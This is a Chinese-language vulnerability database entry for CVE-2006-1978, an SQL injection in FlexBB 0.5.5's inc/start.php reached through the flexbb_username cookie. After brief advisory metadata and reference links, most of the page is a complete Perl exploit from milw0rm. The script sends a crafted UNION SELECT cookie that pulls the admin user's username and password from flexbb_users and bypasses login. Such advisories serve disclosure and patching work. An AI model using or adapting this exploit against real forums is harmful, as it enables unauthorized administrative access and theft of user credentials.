FlexBB inc/start.php SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110083 漏洞类型 SQL注入
发布时间 2006-04-17 更新时间 2006-04-25
CVE编号 CVE-2006-1978 CNNVD-ID CNNVD-200604-402
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1686
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200604-402
|漏洞详情
FlexBB0.5.5及早期版本中的inc/start.php存在SQL注入漏洞。这使得远程攻击者可以借助于flexbb_usernameCOOKIE参数执行任意SQL命令。
|漏洞EXP
#!/usr/bin/perl -w

# FlexBB <= 0.5.5 (/inc/start.php _COOKIE) Remote SQL ByPass Exploit , Perl C0d3
#
# Milw0rm ID :-
#                        http://www.milw0rm.com/auth.php?id=1539
# D3vil-0x1 | Devil-00 < BlackHat > :)
#
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
use IO::Socket;

##-- Start --#

$host         = "127.0.0.1";
$path         = "/flexbb/";

##-- _END_ --##
#        $host                :-
#                                The Host Name Without http:// | exm. www.vic.com
#
#        $path                :-
#                                FlexBB Dir On Server | exm. /flexbb/

$sock = IO::Socket::INET->new (
                                                                                PeerAddr => "$host",
                                                                                PeerPort        => "80",
                                                                                Proto                => "tcp"
                                                                                ) or die("[!] Connect To Server Was Filed");
##-- DONT TRY TO EDIT ME --##
$evilcookie = "flexbb_username='UNION SELECT id,username,password,4,usertype,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 FROM flexbb_users WHERE id=1/*;";
##-- DONT TRY TO EDIT ME --##
$evildata  = "GET ".$path."index.php?action=buddypopup HTTP/1.1\n";
$evildata .= "Host: $host \n";
$evildata .= "Accept: */* \n";
$evildata .= "Keep-Alive: 300\n";
$evildata .= "Connection: keep-alive \n";
$evildata .= "Cookie: ".$evilcookie."\n\n";

print $sock $evildata;

while($ans = <$sock>){
#<a href="./admin/index.php">
        if($ans =~ m/<a href=\".\/admin\/index.php">(.*?)<\/a>/){
            print "\n[+] Bypass [ OKAY ] Edit your cookies  :-\n\n";
            print "\tflexbb_username='UNION SELECT id,username,password,4,usertype,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 FROM flexbb_users WHERE id=1/*;\n\n";
            exit;
        }
}

# milw0rm.com [2006-04-17]
|参考资料

来源:BUGTRAQ
名称:20060417FlexBB0.5.5BypassExploit
链接:http://www.securityfocus.com/archive/1/archive/1/431156/100/0/threaded
来源:MILW0RM
名称:1686
链接:http://www.milw0rm.com/exploits/1686
来源:SECTRACK
名称:1015949
链接:http://securitytracker.com/id?1015949
来源:BID
名称:17568
链接:http://www.securityfocus.com/bid/17568
来源:MILW0RM
名称:1686
链接:http://milw0rm.com/exploits/1686